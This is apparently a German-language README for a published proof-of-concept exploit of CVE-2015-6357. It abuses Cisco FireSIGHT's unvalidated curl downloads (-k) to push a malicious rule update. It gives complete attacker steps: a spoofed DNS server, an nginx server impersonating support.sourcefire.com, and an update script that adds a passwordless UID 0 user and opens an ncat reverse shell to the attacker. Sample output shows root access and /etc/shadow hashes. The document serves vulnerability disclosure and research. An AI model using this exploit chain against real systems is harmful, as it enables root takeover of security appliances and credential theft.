mattimustang/firepwnerExploit für CVE-2015-6357: Schwachstelle bei der Zertifikatsvalidierung im Cisco FireSIGHT Management Center
Für sich genommen ist die Schwachstelle in der Zertifikatsvalidierung des Cisco FireSIGHT Management Center eine mittlere Schwachstelle mit einem CVSS-Wert von 5.1. Diese Schwachstelle ist jedoch ein Beispiel dafür, warum die Validierung von SSL-Zertifikaten so wichtig ist. In diesem Exploit zeige ich, wie die Schwachstelle genutzt werden kann, um privilegierte Remote-Befehlsausführung auf einem Cisco FireSIGHT-System zu erlangen. Der Exploit verkettet die SSL-Validierungsschwachstelle mit dem Software-Update-Prozess auf dem Cisco FireSIGHT-System, um das Zielsystem dazu zu bringen, ein bösartiges Update herunterzuladen und auszuführen und so eine Reverse Shell mit root-Rechten zu erlangen.
Die Cisco FireSIGHT Management Center Appliance wird zur Verwaltung von Cisco FirePOWER Intrusion Prevention Systems (IPS), auch bekannt als Sourcefire IPS, verwendet. FireSIGHT ist für das Herunterladen aktualisierter IPS-Signaturen und deren Installation auf den verwalteten IPS-Geräten verantwortlich.
Das FireSIGHT Management Center erlaubt einem Administrator, ein Update der IPS-Regeln manuell anzustoßen oder die Updates täglich/wöchentlich/monatlich zu planen.
Wenn das FireSIGHT Management Center ein Update durchführt, verwendet es den UNIX-Befehl curl, um den Download von Sourcefire Support durchzuführen. Beim Aufruf des curl-Befehls wird die Option -k (auch --insecure genannt) übergeben, die curl anweist, keine vom Server präsentierten SSL-Zertifikate zu validieren.
Hier ist die ps-Ausgabe des Servers beim Herunterladen eines Updates:
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh
FireSIGHT-Updates liegen in Form eines von makeself generierten Shell-Skripts vor, das sowohl UNIX-Bourne-Shell-Befehle als auch die im Update zu übermittelnden Binärdaten enthält. Diese Update-Shell-Skripte werden direkt auf dem FireSIGHT-Server als lokaler Benutzer www ausgeführt.
Ein Angreifer, der in der Lage ist, einen Man-in-the-Middle-Angriff gegen einen FireSIGHT-Server durchzuführen, kann diesen dazu zwingen, sich mit einer gefälschten Version der Sourcefire Support-Website zu verbinden und ein bösartiges Update-Skript herunterzuladen, das jeden vom Angreifer gewünschten Befehl auf dem FireSIGHT-Server ausführt.
Die SSL-Validierungsschwachstelle ermöglicht dies, wodurch das System das gefälschte SSL-Zertifikat des Angreifers bereitwillig ignoriert, das bösartige Update herunterlädt und ausführt.
Wenn der curl-Befehl das SSL-Zertifikat validieren würde, würde das Herunterladen des bösartigen Skripts fehlschlagen und den FireSIGHT-Server vor dem Angreifer schützen.
Dieser Exploit demonstriert die Gefahr, SSL-Zertifikate nicht zu validieren, indem er die Schwachstelle ausnutzt, um Remote-Befehlsausführung als root-Benutzer zu erlangen.
Das Angriffsszenario sieht vor, dass ein Angreifer die Fähigkeit erlangt hat, den Datenverkehr vom FireSIGHT-Server zur Website https://support.sourcefire.com per Man-in-the-Middle abzufangen. Der einfachste Weg, dies zu demonstrieren, besteht darin, einen „kompromittierten“ DNS-Server einzurichten, der auf Anfragen für die Domain support.sourcefire.com mit der IP-Adresse eines vom Angreifer kontrollierten Webservers antwortet.
In einem realen Angriffsszenario kann der Angreifer beliebig viele Man-in-the-Middle-Techniken einsetzen, um dasselbe zu erreichen. Zum Beispiel:
Dieser Exploit wurde gegen die folgenden FireSIGHT-Virtual-Appliance-Versionen getestet:
In der folgenden PoC wurde dem FireSIGHT-Server die IP-Adresse 192.168.1.99 zugewiesen.
Der angreifende Host lief unter Kali Linux 2.0; das folgende Setup sollte jedoch auf jedem Debian-Linux-basierten Server funktionieren. Die IP-Adresse des Kali-Hosts im folgenden Beispiel ist 192.168.1.1. Der Kali-Host wird verwendet, um sowohl den DNS-Server als auch die gefälschte Sourcefire Support-Website zu betreiben.
Der Exploit erfordert die Fähigkeit, die DNS-Antwort für support.sourcefire.com zu fälschen. Dazu wird ein dnsmasq-Server betrieben, der diese Fähigkeit bereitstellt und als „kompromittierter“ DNS-Server fungiert.
dnsmasq installieren:
root@kali# apt-get install dnsmasq
dnsmasq konfigurieren:
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF
Ändern Sie die IP-Adresse in der Zeile address auf die Adresse des Webservers, von dem aus Sie die Updates ausliefern möchten.
dnsmasq starten:
root@kali# service dnsmasq start
Ein Webserver ist erforderlich, um den Exploit an den FireSIGHT-Server auszuliefern, wenn dieser ein Update anfordert.
nginx-Webserver installieren:
root@kali# apt-get install nginx
Ein selbstsigniertes Zertifikat erstellen, um sich als support.sourcefire.com auszugeben:
root@kali# mkdir /etc/nginx/ssl
root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
-out /etc/nginx/ssl/nginx.crt
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:
Konfigurieren Sie nginx, indem Sie den Inhalt von /etc/nginx/sites-available/default durch Folgendes ersetzen:
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name support.sourcefire.com;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
location / {
try_files $uri $uri/ =404;
}
# rewrite requests that contain the clients license key
location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
}
location /auto-update {
root /var/www/html/firepwner;
}
}
nginx starten:
root@kali# service nginx start
Der FirePWNER-Exploit erfordert, dass zwei Dateien vom Webserver ausgeliefert werden. Die erste Datei ist das Update-Manifest, eine XML-Datei, die eine Liste der verfügbaren Updates, deren Download-Speicherort und MD5-Hashes enthält.
Zunächst müssen Sie einige Verzeichnisse erstellen:
root@kali# mkdir \
/var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}
Kopieren Sie anschließend die Exploit-Dateien hinein:
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
/var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh
Nach dem Kopieren dieser Dateien sollten Sie http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml im Browser aufrufen können.
Als Nächstes muss der FireSIGHT-Server zu Demonstrationszwecken des Exploits so konfiguriert werden, dass er den „kompromittierten“ DNS-Server verwendet. Melden Sie sich im FireSIGHT-Webportal an, navigieren Sie zu System > Local > Configure > Management Interfaces und setzen Sie den primären DNS-Server auf die IP-Adresse des „kompromittierten“ DNS-Servers (192.168.1.1) und speichern Sie die Änderung.
Der Exploit verwendet den standardmäßig auf dem FireSIGHT-Server installierten Befehl ncat, um eine Reverse Shell zum Kali-Host aufzubauen. Auf dem Kali-Host müssen Sie auf die Reverse-Shell-Verbindung vom FireSIGHT-Server lauschen:
root@kali# ncat -v -l 4444
Navigieren Sie dann im FireSIGHT-Webportal zu System > Updates > Rule Updates, wählen Sie Download new rule update from the Support Site und klicken Sie auf die Schaltfläche Import. Der Server lädt daraufhin das Update-Manifest sf.xml vom Server des Angreifers herunter, erkennt, dass ein Update verfügbar ist, lädt das Update herunter und führt es als Benutzer www aus. Das folgende Update-/Exploit-Skript nutzt die Tatsache aus, dass der Benutzer www eine Reihe von sudo-Befehlen ausführen kann, darunter useradd. Der Exploit erstellt einen neuen Benutzer toor mit einem leeren Passwort und verwendet dann su, um die Rechte zu erweitern und eine Reverse-Shell-Verbindung zum Server des Angreifers aufzubauen.
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
-d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0
Das Exploit-Skript kann geändert werden, um beliebige andere gewünschte Befehle auszuführen. Wenn das Skript geändert wird, muss der Wert des XML-Tags <md5sum> in sf.xml mit dem neuen MD5-Hash des Exploit-Skripts aktualisiert werden.
Dies ist ein Beispiel für die Ausgabe, die Sie auf dem Kali-Host sehen sollten, wenn der Exploit erfolgreich ist, eine Remote-Shell auf dem FireSIGHT-Server geöffnet wird und die Befehle id und cat /etc/passwd ausgeführt werden:
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::
Die in diesem Exploit verwendeten Dateien können von github bezogen werden.